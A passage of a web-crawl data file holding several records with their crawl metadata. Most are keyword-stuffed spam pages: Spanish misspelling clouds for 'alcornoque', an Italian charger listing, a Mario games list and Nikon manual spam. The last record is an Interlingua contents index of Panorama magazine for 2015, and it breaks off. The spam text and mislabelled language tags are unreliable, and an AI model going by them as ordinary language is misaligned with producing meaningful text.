búsqueda:\n|Google:||alcornkque|\n|Yahoo:||alcornkque|\n|MSN:||alcornkque|\n|Wikipedia:||alcornkque|\nResultados de imágenes:\n|Google:||alcornkque|\n|Yahoo:||alcornkque|\n|MSN:||alcornkque|\nYoutube: alcornkque\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.tuspalabras.com\/alcornkque","date":"2017-03-01T18:16:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501174215.11\/warc\/CC-MAIN-20170219104614-00443-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.3228791952,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.32287919521331787, \"nah_Latn_score\": 0.2078825682401657, \"ast_Latn_score\": 0.10286512970924377, \"spa_Latn_score\": 0.054681453853845596, \"cot_Latn_score\": 0.051638729870319366, \"sco_Latn_score\": 0.051468752324581146, \"por_Latn_score\": 0.04615284875035286, \"glg_Latn_score\": 0.028290359303355217}","num_words":313,"character_repetition_ratio":0.15,"word_repetition_ratio":0.079,"special_characters_ratio":0.159,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.311,"perplexity_score":11004.7,"cluster_detection":-1} +{"text":"alimentatore macbook pro 85w alimentatore per apple macbook pro con 5 pin magnetico 2\nalimentatore macbook pro 85w alimentatore magsafe 2 da 85w macbook pro 15 quot retina i\nalimentatore macbook pro 85w alimentatore magsafe 2 da 85w macbook pro 15 quot retina i\nalimentatore macbook pro 85w alimentatore magsafe 2 85w compatibile apple macbook pro\nalimentatore macbook pro 85w apple alimentatori pc alimentatore 85w per macbook pro\nalimentatore macbook pro 85w alimentatore magsafe 2 85w 18 5v compatibile con macbook\nalimentatore macbook pro 85w alimentatore 60w dedicato per notebook apple macbook\nalimentatore macbook pro 85w apple alimentatore magsafe 2 apple da 85w per macbook pro\nalimentatore macbook pro 85w alimentatore compatibile apple magsafe 2 85w per macbook\nalimentatore macbook pro 85w alimentatore compatibile apple macbook e pro 85w 15 quot 17\nalimentatore macbook pro 85w apple magsafe 2 85w per macbook pro md565z mediaworld it\nalimentatore macbook pro 85w alimentatore apple macbook 85w magsafe1 18 5v 4 60a pro\nalimentatore macbook pro 85w alimentatore compatibile 85w magsafe 1 caricatore macbook\nalimentatore macbook pro 85w alimentatore adattatore apple macbook pro 15 4 2 4ghz\nalimentatore macbook pro 85w flander it alimentatore caricabatterie 85w 18 5v\nalimentatore macbook pro 85w alimentatore compatibile 85w per apple macbook e pro 15\nalimentatore macbook pro 85w alimentatore caricabatterie da auto 85w compatibile con\nalimentatore macbook pro 85w alimentatore notebook apple mac 85w 18 5v 4 6a\nalimentatore macbook pro 85w alimentatore magsafe per macbook pro 15 e 17 85w\nalimentatore macbook pro 85w alimentation neuve pour apple macbook macbook pro 18 5v\nalimentatore macbook pro 85w alimentatore auto per apple mac book pro 85w magsafe 1\nalimentatore macbook pro 85w 15676 alimentatore magsafe 2 85w bulk apple\nalimentatore macbook pro 85w alimentation macbook pro 85w vng informatique\nalimentatore macbook pro 85w alimentatore apple macbook pro retina 15 me293xx a me294xx\nalimentatore macbook pro 85w alimentatore 85w 15 quot macbook pro e air con display retina\nalimentatore macbook pro 85w apple chargeur magsafe 85w macbook pro 13 15 17\nalimentatore macbook pro 85w alimentatore auto per apple mac book pro 85w magsafe 1\nalimentatore macbook pro 85w alimentatore compatibile apple magsafe macbook pro 85w 4","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/malberniceestates.com\/alimentatore-macbook-pro-85w.html","date":"2018-06-22T11:50:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864391.61\/warc\/CC-MAIN-20180622104200-20180622124200-00404.warc.gz","language":"ina","language_score":0.4471160471,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.44711604714393616, \"ita_Latn_score\": 0.16385628283023834, \"eng_Latn_score\": 0.05162521079182625, \"srd_Latn_score\": 0.04641491547226906, \"ben_Latn_score\": 0.03821970522403717, \"lat_Latn_score\": 0.02500862628221512, \"eus_Latn_score\": 0.02395315282046795, \"dag_Latn_score\": 0.022939637303352356, \"kmg_Latn_score\": 0.01920141652226448, \"lim_Latn_score\": 0.01749282144010067, \"ile_Latn_score\": 0.01592341624200344, \"vec_Latn_score\": 0.012933976948261261}","num_words":695,"character_repetition_ratio":0.415,"word_repetition_ratio":0.36,"special_characters_ratio":0.231,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":0.447,"perplexity_score":7394.4,"cluster_detection":-1} +{"text":"Alcornoqus\n'Alcornoqus' se parece a 'alcornoque', ¿Con alcornoqus querías decir alcornoque?\nAlcornoqus tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcornoqus|\n|Yahoo:||alcornoqus|\n|MSN:||alcornoqus|\n|Wikipedia:||alcornoqus|\nResultados de imágenes:\n|Google:||alcornoqus|\n|Yahoo:||alcornoqus|\n|MSN:||alcornoqus|\nYoutube: alcornoqus\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.tuspalabras.com\/alcornoqus","date":"2017-02-28T13:03:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501174159.38\/warc\/CC-MAIN-20170219104614-00305-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.3018892109,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.30188921093940735, \"nah_Latn_score\": 0.1646479219198227, \"ast_Latn_score\": 0.08996288478374481, \"spa_Latn_score\": 0.05983179062604904, \"sco_Latn_score\": 0.058671098202466965, \"por_Latn_score\": 0.033304695039987564, \"kal_Latn_score\": 0.03179401904344559, \"glg_Latn_score\": 0.031265739351511, \"cot_Latn_score\": 0.026159359142184258, \"zul_Latn_score\": 0.014328463934361935, \"chd_Latn_score\": 0.010757704265415668}","num_words":313,"character_repetition_ratio":0.151,"word_repetition_ratio":0.079,"special_characters_ratio":0.159,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":0.296,"perplexity_score":10096.8,"cluster_detection":-1} +{"text":"juegos de mario bros vs sonic\nSuper Mario Space invadersjuegos de mario bros vs sonic\nMario Kartjuegos de mario bros vs sonic\nMario Town 2juegos de mario bros vs sonic\nHongos en líneajuegos de mario bros vs sonic\nMario Superjuegos de mario bros vs sonic\nSuper Mario Bros 2: Star Scramble, Ghost Islandjuegos de mario bros vs sonic\nBowser Ball 2juegos de mario bros vs sonic\nMario contra el tiempojuegos de mario bros vs sonic\nSuper Mario Motojuegos de mario bros vs sonic\nSuper Mario bros star scramble 2juegos de mario bros vs sonic\nMario Atvjuegos de mario bros vs sonic\nSuper Mario Flash 2juegos de mario bros vs sonic\nJuegos de Mario Bros: Cute Mario Drivingjuegos de mario bros vs sonic\nSuper Mario 3: Star Scramblejuegos de mario bros vs sonic\nMario Adventure 2juegos de mario bros vs sonic\nSuper Mario Bros: Star Scramblejuegos de mario bros vs sonic\nJuegos de Mario bros: Free Super Mario Brosjuegos de mario bros vs sonic\nJuegos de Mario Bros: Mario Adventuresjuegos de mario bros vs sonic\nThe Adventure of Super Mario Landjuegos de mario bros vs sonic\nSuper Mario Escene worldjuegos de mario bros vs sonic\nMario Boxing Gamejuegos de mario bros vs sonic\nJuegos de Mario Bros: Super Mario 63juegos de mario bros vs sonic\nSuper Mario Coin Catcherjuegos de mario bros vs sonic\nWario Puzzlejuegos de mario bros vs sonic\nSuper Mario Jigsaw Puzzle 4juegos de mario bros vs sonic\nMario Strikersjuegos de mario bros vs sonic\nSuper Mario Flash 3juegos de mario bros vs sonic\nMario ATV 2juegos de mario bros vs sonic\nJuegos de Mario Bros: Super Flashjuegos de mario bros vs sonic\nMario y las plantas carnívorasjuegos de mario bros vs sonic\nSuper Mario World Flash 2juegos de mario bros vs sonic\nSuper Mario Motojuegos de mario bros vs sonic","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/juegosdemariobros.net\/sonic\/","date":"2019-12-14T21:25:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541294513.54\/warc\/CC-MAIN-20191214202754-20191214230754-00253.warc.gz","language":"ina","language_score":0.3697427809,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3697427809238434, \"spa_Latn_score\": 0.3438493311405182, \"ido_Latn_score\": 0.02728472463786602, \"alz_Latn_score\": 0.020492779091000557, \"srd_Latn_score\": 0.019829293712973595, \"gug_Latn_score\": 0.013138465583324432, \"glg_Latn_score\": 0.013102248311042786, \"oci_Latn_score\": 0.012057787738740444, \"hus_Latn_score\": 0.010328853502869606, \"yua_Latn_score\": 0.010215282440185547}","num_words":592,"character_repetition_ratio":0.436,"word_repetition_ratio":0.407,"special_characters_ratio":0.186,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":0.447,"perplexity_score":7188.0,"cluster_detection":-1} +{"text":"Instruction Book Nikon D90 Digital Camera Users Manual\ninstruction book nikon d90 digital camera users manual nikon d50 digital camera original instruction manual spanish only guia nikon de fotografia digital para la d50 camara digital nikon d50 digital camera original instruction manual nikon d60 digital camera original instruction manual nikon d700 digital camera original instruction manual original instruction manual nikon d300s digital camera nikon coolpix 775 digital camera original instruction manual nikon coolpix s630 digital camera original instruction manual nikon coolpix 5400 digital camera original instruction manual nikon digital camera d800 d800e users manual nikon coolpix s550 digital camera original users manual nikon coolpix p5000 digital camera original users manual nikon coolpix s220 digital camera original users manualinstruction manual nikon coolpix s510 digital camera original users manualinstruction manual nikon d300 digital camara original instruction manual spanish text only nikon camara digital d300 manual del usuario nikon n4004s af camera instruction manual nikon n8008s af camera instruction manual nikon n90s af camera instruction manual nikon n6006 af camera instruction manual nikon n5005 af camera instruction manual\ninstruction book nikon d90 digital camera users manual\ninstruction book nikon d90 digital camera users manual","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/browseebook.com\/instruction-book-nikon-d90-digital-camera-users-manual.html","date":"2020-01-27T21:38:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251728207.68\/warc\/CC-MAIN-20200127205148-20200127235148-00008.warc.gz","language":"ina","language_score":0.5651522279,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.5651522278785706, \"eng_Latn_score\": 0.27721017599105835}","num_words":277,"character_repetition_ratio":0.278,"word_repetition_ratio":0.44,"special_characters_ratio":0.193,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.556,"perplexity_score":15133.3,"cluster_detection":-1} +{"text":"Iste indice monstra le contento del magazin Panorama in interlingua (ISSN 0903-2932) edition post edition.\n\n\nNo. 1\/2015, januario-februario\n|1||Grande projecto face litteratura in interlingua crescer||Le libros in interlingua debe esser plus numerose, plus visibile e plus facile a trovar e comprar, dice le Union Mundial pro Interlingua que ha initiate un grandissime projecto – que anque comprehende un nove e-boteca con e-libros, audiolibros e possibilemente editiones anterior de Panorama||Copertura|\n|1||Piet Cleij ha morite||Copertura|\n|1||Bandiera 50 annos||Le bandiera canadian ha un historia curiose e breve.||Copertura|\n|1||3 paginas con novas||Copertura|\n|1||Patre de Don Quixote finalmente trovate||Le tumba de Miguel de Cervantes ha durante 400 annos essite disparite – ma appare pro le jubileo.||Copertura|\n|1||Supra un parve village espaniol||Momentos pensative.||Copertura|\n|1||Patientia(s)||Copertura|\n|2+3||Interlingua ha perdite Piet Cleij||Un grande personalitate e invalutabile supportator de interlingua non es plus||Breinstrup, Thomas||Necrologia|\n|4||Le importantia de parolas – e de usar los||Breinstrup, Thomas||Editorial|\n|5||Reactiones al morte de Piet Cleij||Necrologia|\n|6+7+8||Grandissime projecto pro augmentar le litteratura in interlingua||Multissime libros a expectar tosto.||Breinstrup, Thomas||Novas de interlingua|\n|9||Bandiera canadian celebra 50 annos||Un commentario egyptian habeva grande influentia al designo actual del bandiera de Canada.||R.S||Nova|\n|9||Glacie arctic dispare plus tosto||Th.||Nota|\n|10||Patre de Don Quixote finalmente trovate in Madrid||Durante 400 annos le tumba de Miguel de Cervantes ha essite disparite – usque ora.||Breinstrup, Thomas||Nova|\n|11||Don Quijote relevate||Le figura esseva un ver persona.||Th.||Nova|\n|11||Classico popular deveni libere||Th.||Nota|\n|11||Lituania introduce le euro||Th.||Nota|\n|12||Scouts compra insula artificial||Th.||Nota|\n|12||Disneyland in retardo||Th.||Nota|\n|12||Animal rar super le puncto de extinction||Rhinocerote blanc rar ha morite.||Breinstrup, Thomas||Nova|\n|13||Patientia pro patientias||Platter, Kenneth||Chronica|\n|14||Nove record de calor||Th.||Nota|\n|14||Nulle fumar in films e TV||Th.||Nota|\n|14||Nove filo conductor a codice mysteriose||Post 25 annos ancora nemo ha rumpite le codice sur le sculptura ante le quartiero principal del CIA.||Breinstrup, Thomas||Nova|\n|15||Belle placard con le alphabeto||Novas de interlingua|\n|15||Photo historic in nove libro||Novas de interlingua|\n|16||Bandas designate in interlingua||Novas de interlingua|\n|16||Poema original al Die de Interlingua||Novas de interlingua|\n|16||Rhythmos musical in interlingua||Novas de interlingua|\n|16||Presentation preste in occitano||Novas de interlingua|\n|16||Indice de articulos in Panorama||Novas de interlingua|\n|17||Interessante summarios scientific||Novas de interlingua|\n|17||Nove poema con musica e cantar||Novas de interlingua|\n|17||Cinque nove invitationes nordic||Novas de interlingua|\n|18||Promotor insistente de interlingua||Necrologia de Aleksandr Tkachenko||Th.||Necrologia|\n|19||Quiz in interlingua||Madsen, W.||Quiz|\n|19||Interlingua in practica||Un tresor pro autostudios||Th.||Interlingua in practica|\n|20||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|21||Supra un parve village espaniol||Aguilar, Paco Titos||Litteratura|\n|22+23||Un frigide salutation||Bierce, Ambrose||Litteratura|\n|23||Ama tu litteratura?||Litteratura|\n|24||Fiji es le plus gaudiose||Th.||Le mundo actual|\n|24||Amateur trova tresor de argento||Th.||Le mundo actual|\n|24||Alces retorna post 5.000 annos||Th.||Le mundo actual|\n|24||Nove vita a papyro ancian||Th.||Le mundo actual|\n|24||Caffetieras electric debe stoppar||Th.||Le mundo actual|\n|25||Nulle nudes plus sur pagina 3||Th.||Le mundo actual|\n|25||Bellman deveni digital||Th.||Le mundo actual|\n|25||Protesta pro pectores nude||Th.||Le mundo actual|\n|25||Bill Gates remane le plus ric||Th.||Le mundo actual|\n|25||Prime nove templo pro Odin||Th.||Le mundo actual|\n|26||Guai, guai, guai!||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Carlos Alberto de Silva Santos||Novas de nomines|\n|28||Le Bibliotheca National de Francia||Novas de nomines|\n|28||Café Interlingua||Novas de nomines|\n|28||Julian Mendez||Novas de nomines|\n|28||Stanley Mulaik||Novas de nomines|\n\n\nNo. 2\/2015, martio-april\n|1||Exopero lingual pro le parve linguas||Action de europarlamentario irlandese ha attrahite le attention al problemas del mancante multilinguismo in le Union Europee, malgrado le 24 linguas official.||Copertura|\n|1||Ora veni le libros: 3-2-1 … lege!||Un fluxo de nove libros in interlingua – e alcunos que es de novo disponibile – ha initiate 2015. Selige inter phantasmas, textos biblic, le fur gentilhomine, un dictionario inverse de interlingua e un alternative viage guidate in interlingua, e inricchi tu vocabulario, durante que tu supporta interlingua.||Copertura|\n|1||Duo minutas remane||Horologio de catastrophe es proxime a medienocte.||Copertura|\n|1||Feminas con vikinges||Copertura|\n|1||Parlamento collabe||Westminster besonia restauration urgente.||Copertura|\n|1||Ultime rhino extincte||Copertura|\n|1||Le tracias de Charles Ashmore||Un novella de A. Bierce.||Copertura|\n|1||Linguas e dialectos||Copertura|\n|2+3||Exopero lingual contra mancante multilinguismo||Action de europarlamentario irlandese ha attrahite le attention al problemas del parve linguas in le Union Europee.||Breinstrup, Thomas||Nova|\n|2+3||Traductiones del UE||Nota|\n|4||Leger es fascinante||Breinstrup, Thomas||Editorial|\n|5||Duo minutas al die del judicio||Le situation in le mundo es ora si instabile con risco de un guerra atomic e cambios climatic que le flechas del famose horologio se approxima a medienocte – e le catastrophe.||Breinstrup, Thomas||Nova|\n|6||Ave de terror trovate||Th.||Nota|\n|6||Forsan glacie sur Pluto||Th.||Nota|\n|6||Minus de labor pro salvar energia||Th.||Nota|\n|6||Spionage german pro le SUA||Th.||Nota|\n|6||Rege sepelite post 530 annos||Le britannicos sequeva Ricardo III, cuje restos esseva trovate sub un parcamento in Leicester.||Breinstrup, Thomas||Nova|\n|7||Billetes de porno da accesso a cultura||Un theatro in Madrid prende un initiativa extraordinari pro ganiar publico. On vende porno pro evitar le alte taxas.||Breinstrup, Thomas||Nova|\n|7||In corte pro refusar pesticidas||Th.||Nota|\n|8||Parlamento risca collaber in London||Le edificio historic, Westminster, besonia urgentemente un restauration costose.||Breinstrup, Thomas||Nova|\n|8||Maladia dispare de duo continentes||Th.||Nota|\n|9||Linguas e dialectos||Platter, Kenneth||Chronica|\n|10||Ultime rhinocerote es de facto extincte||Le ultime masculo del specie es protegite per guardas armate.||Breinstrup, Thomas||Nova|\n|11||Le Canal de Panama essera expandite||Naves plus grande debe passar.||Th.||Nova|\n|11||Tonnas de ebore confiscate||Th.||Nota|\n|11||Nordeuropeos manteneva lanceas||Th.||Nota|\n|11||Norvegia vole crescer||Th.||Nota|\n|11||Refugio arctic es protegite||Th.||Nota|\n|12||Qui ha un dictionario electronic?||Novas de interlingua|\n|12||Trolls al ministro norvegian||Novas de interlingua|\n|12||Appello a omne homines de poeta||Novas de interlingua|\n|13||Linux Ubuntu in interlingua||Novas de interlingua|\n|13||Libros appare post morte del autor||Novas de interlingua|\n|13||Sven Kindestam ha morite||Novas de interlingua|\n|14||Jeanne Martinet 95 annos||Th.||Anniversario|\n|14||Autor diligente 90 annos||Pian Boalt, Svedia||Th.||Anniversario|\n|14||Bent Andersen 85 annos||Th.||Anniversario|\n|14||Tresorero danese 75 annos||Dan Sterup, Danmark||Th.||Anniversario|\n|15||Reedition del Biblia continua||\"Genesis\", \"Exodo\", \"Levitico\", \"Numeros\", \"Deuteronomio\"||Th.||Libros|\n|15||Interlingua in ordine inverse||Piet Cleij: \"Dictionario inverse de interlingua\"||Libros|\n|16||Un viage guidate in interlingua||Stanley A. Mulaik: \"Interlingua Grammar and Method\"||Th.||Libros|\n|16||Phantasmas phantastic||Joseph Sheridan Le Fanu: \"Contos de phantasmas\"||Th.||Libros|\n|17||In bon compania del gentilhomine||Maurice Leblanc: \"Arsène Lupin – le fur gentilhomine\"||Th.||Libros|\n|17||Collection de poesia original||Th.||Libros|\n|17||Nove publicationes in interlingua||Libros|\n|18||Neanderthales plus intelligente||Discoperta monstra que le neanderthales habeva pensatas abstracte.||Th.||Scientia|\n|18||Tubo troppo curte revela Stonehenge||Aqua mancante monstra que le circulo interior esseva un vice complete.||Th.||Scientia|\n|19||Feminas participava al barcas del vikinges||Provas genetic narra que feminas nordic iva con le expeditiones.||Th.||Scientia|\n|19||Ursos polar fusilate in autodefensa||Cambios climatic face le ursos polar ir verso le citates. Le plus grande numero jammais ha essite fusilate.||Th.||Scientia|\n|20||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Film humoristic||Th.||Interlingua in practica|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Le tracias de Charles Ashmore||Traduction in interlingua: Italo Notarstefano||Bierce, Ambrose||Litteratura|\n|24||Fin del cabinas telephonic||Th.||Le mundo actual|\n|24||Cambia libros in cabina telephinic||Th.||Le mundo actual|\n|24||Statua contineva scripturas antique||Th.||Le mundo actual|\n|24||Pigmento automundante||Th.||Le mundo actual|\n|25||Turre Eiffel claudite de exopero||Th.||Le mundo actual|\n|25||Le prime signos bilingual al stratas||Th.||Le mundo actual|\n|25||Maxilla revela homine vetere||Th.||Le mundo actual|\n|25||Traino con 603 km\/hora||Th.||Le mundo actual|\n|25||Kim Jong-un al summitate||Th.||Le mundo actual|\n|26||Le tempore fugi…||Breinstrup, Thomas||Le parolas del mense|\n|26||Habitar in urbes||Breinstrup, Thomas||Le parolas del mense|\n|26||Le grande numeros in interlingua||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Klavs Neerbek||Novas de nomines|\n|28||Thomas Breinstrup||Novas de nomines|\n|28||Roberto Capuzzo||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 3\/2015, maio-junio\n|1||Conferentia de interlingua in Espania||Le 21me conferentia international de interlingua essera arrangiate justo proxime al plagia in Benidorm in Espania le 19-24 de septembre. Inscribe te hodie.||Copertura|\n|1||90.000 iva a insula de politica popular||Panorama prende ferryboat a festival politic peculiar.||Copertura|\n|1||Imperio de Pippi ha 70||Le mundo de Astrid Lindgren es grande commercio.||Copertura|\n|1||Io, un bacteriophilo||Copertura|\n|1||Un conto original||Manuscripto de H.C. Andersen trovate||Copertura|\n|1||Libros pro le estate||Trova inspiration.||Copertura|\n|1||Visita in Japon||Panorama explorava Japon durante novem dies.||Copertura|\n|1||67.000 elephantes via||Copertura|\n|2+3||Invitation al conferentia de interlingua in Espania in le fin de septembre||Le 21me conferentia international de interlingua essera arrangiate justo proxime al plagia in Benidorm in Espania le 19-24 de septembre. Inscribe te hodie.||Breinstrup, Thomas||Conferentia de interlingua|\n|3||Benidorm como hereditage mundial||Th.||Conferentia de interlingua|\n|4||Hurrah, il es estate – con libros e conferentia!||Breinstrup, Thomas||Editorial|\n|5||Imperio de contos ha 70 annos||Le mundo del autor svedese Astrid Lindgren es grande commercio.||Breinstrup, Thomas||Nova|\n|6+7||Un insula de politica popular||Pro le quinte vice es arrangiate un grande festival politic in Danmark. Panorama prendeva le ferryboat al insula Bornholm – con le 90.000 altere participantes e visitatores.||Breinstrup, Thomas||Nova|\n|7||Tremor moveva Monte Everest||Th.||Nota|\n|8||Nove canal de Suez aperi||Th.||Nota|\n|8||Sitos historic reaperi in Nepal||Th.||Nota|\n|8||Copenhagen non plus es le optime||Th.||Nota|\n|8||Berlin limita le precio de location||Le costos de locar un habitation ha explodite in le capital german.||Th.||Nova|\n|9||Trova tu via – si tu pote…||Le labyrintho le plus grande in le mundo create per humanos ha aperite foras de Parma. Illo consiste de 10.000 bambus.||Breinstrup, Thomas||Nova|\n|10||Conto original per H.C. Andersen appare de novo||Manuscripto original appare durante mundification in latifundio.||Breinstrup, Thomas||Nova|\n|10||Moderne lucta de Waterloo||Th.||Nota|\n|11||Io es un bacteriophilo||Platter, Kenneth||Chronica|\n|12||Disputa perdita de 67.000 elephantes||Governamento de Tanzania pensa que multe elephantes ha migrate.||Breinstrup, Thomas||Nova|\n|12||Nove linguas official in Germania||Th.||Nota|\n|13||Secreto de lacos disparite revelate||Duo lacos con milliardos de litros de aqua dispareva in 90 minutas.||Th.||Nova|\n|13||Factura enorme pro parlamento||Th.||Nota|\n|13||Ultime municipio ora bilingual||Th.||Nota|\n|13||Augmenta le etate pro fumar||Th.||Nota|\n|14||Nove invitationes a viages||Novas de interlingua|\n|14||Dictionario supplementate de novo||Novas de interlingua|\n|14||Café Interlingua in nove café||Novas de interlingua|\n|15||Ultime libro in encyclopedia spiritual||Toma Macovei: \"Perlas spiritual ab le humor universal\"||Libros|\n|15||Trolls norvegian como libro gratuite||Libros|\n|16||Utensiles cambia le historia human||Le utensiles de petra le plus ancian in le mundo ha essite discoperite.||Breinstrup, Thomas||Scientia|\n|16||Chimpanzes pote cocinar||Th.||Scientia|\n|17||Libros pro le estate||Libros|\n|18||Quiz in interlingua||Madsen, W.||Quiz|\n|18||Interlingua in practica||Interlingua pro juniores||Th.||Interlingua in practica|\n|19||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|20+21||Novem dies in Japon||Notas breve de un tourista in Japon in april 2015||Olsson, Inger||Viages|\n|22+23||Le vetule Eckert||Traduction in interlingua: Onofrio Notarstefano||Ambrose Bierce||Litteratura|\n|24||Picasso vendite pro record||Th.||Le mundo actual|\n|24||Svedeses mangia troppo de sal||Th.||Le mundo actual|\n|24||Tresor de pirata famose trovate||Th.||Le mundo actual|\n|25||Statua de Hitler trovate||Th.||Le mundo actual|\n|25||Melones pro milliones||Th.||Le mundo actual|\n|25||Autos obtene un extra littera||Th.||Le mundo actual|\n|25||Vetere catto ha morite||Th.||Le mundo actual|\n|25||Zimbabwe cancella su valuta||Th.||Le mundo actual|\n|26||A transverso (de)||Breinstrup, Thomas||Le parolas del mense|\n|26||Circumferite de\/per||Breinstrup, Thomas||Le parolas del mense|\n|26||Como se appella un tal?||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Lingua e vita||Novas de nomines|\n|28||Gheorghe Petrineanu||Novas de nomines|\n|28||Thomas Breinstrup||Novas de nomines|\n\n\nNo. 4\/2015, julio-augusto\n|1||60 annos con UMI||Le jubileo del organisation mundial pro interlingua, que hodie ha membros e representantes sur cinque continentes, es celebrate al 21me conferentia de interlingua.||Copertura|\n|1||Pluto in photo||Pro le prime vice le anterior planeta le plus distante, Pluto, ha essite photographiate – e il habeva surprisas.||Copertura|\n|1||Beijing gania de novo||Jocos Olympic hibernal e estive in le mesme urbe.||Copertura|\n|1||Ecce le bardotto!||Copertura|\n|1||India batte China||Ja in 2022 India deveni le pais le plus populate.||Copertura|\n|1||Lectura: \"Un captura\"||Copertura|\n|1||Regiones dispare||Francia reduce su regiones de 27 a 19.||Copertura|\n|1||Terra ha \"cosino\"||Copertura|\n|2+3||Photos revela plus de secretos de Pluto||Montanias de glacie se trova sur le ex-planeta que finalmente ha essite visitate per un camera.||Breinstrup, Thomas||Nova|\n|2||New Horizons||Th.||Nota|\n|4||Le officina creative aperi le 19 de septembre||Breinstrup, Thomas||Editorial|\n|5+6+7||60 annos con le UMI||Le UMI ha hodie membros e representantes in cinque continentes.||Breinstrup, Thomas||Novas de interlingua|\n|7||Factos del UMI||Th.||Novas de interlingua|\n|8||Bandiera disputate es removite||Th.||Nota|\n|8||Corea del Nord retro in tempore||Th.||Nota|\n|8||Beijing gania de novo jocos olympic||Il es le prime vice que un capital arrangia e le jocos hibernal e estive.||Breinstrup, Thomas||Nova|\n|9||Francia reduce le numero de regiones||Debatto si le simplification menacia le democratia local.||Breinstrup, Thomas||Nova|\n|10||India deveni le plus populate del mundo||Nos essera 11,2 milliardos in 2100.||Breinstrup, Thomas||Nova|\n|11||Vaccino contra malaria essera preste in 2017||Pro le prime vice il ha spero que le maladia timite pote esser tractate efficacemente.||Breinstrup, Thomas||Nova|\n|11||Museos cessa entrata gratuite||Th.||Nota|\n|11||Toto in danese al parlamento||Th.||Nota|\n|11||Vino como hereditage mundial||Th.||Nota|\n|12||Dictionario basic in espaniol||Novas de interlingua|\n|12||Duo nove videos de Marcus Scriptor||Novas de interlingua|\n|12||Wikipedia in interlingua cresce||Novas de interlingua|\n|12||LyX preste in interlingua||Novas de interlingua|\n|13||Sex dies e noctes in interlingua||Le conferentia aperi in septembre.||Breinstrup, Thomas||Conferentia de interlingua|\n|13||Dynamic, actual e plen de informationes||Th.||Conferentia de interlingua|\n|14+15||Meditation mediterranee||Nice es Francia del optime latere.||Breinstrup, Thomas||Viages|\n|16||Re-publication del Biblia continua||Th.||Libros|\n|16||Litteratura in le radio||Libros|\n|16||Nove publicationes in interlingua||Libros|\n|17||Ecce le bardotto!||Platter, Kenneth||Chronica|\n|18||NASA discoperi \"cosino del Terra\"||Le planeta le plus simile al Terra jammais ha essite trovate.||Th.||Scientia|\n|18||Deforestation debe stoppar ora||Th.||Nota|\n|19||Cornos in 3D debe salvar rhinocerotes||Firma biotechnologic va crear cornos artificial e inundar le mercato pro fortiar via le chassatores furtive.||Breinstrup, Thomas||Scientia|\n|19||Arbore de 777 annos||Th.||Nota|\n|19||Hotel le plus grande preste in 2017||Th.||Nota|\n|20||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Gratuite e-libros||Th.||Interlingua in practica|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Un captura||Traduction in interlingua: Onofrio Notarstefano||Bierce, Ambrose||Litteratura|\n|23||Café de litteratura: Quiz||Litteratura|\n|23||Ama tu litteratura?||Litteratura|\n|24||Koran ancian trovate in 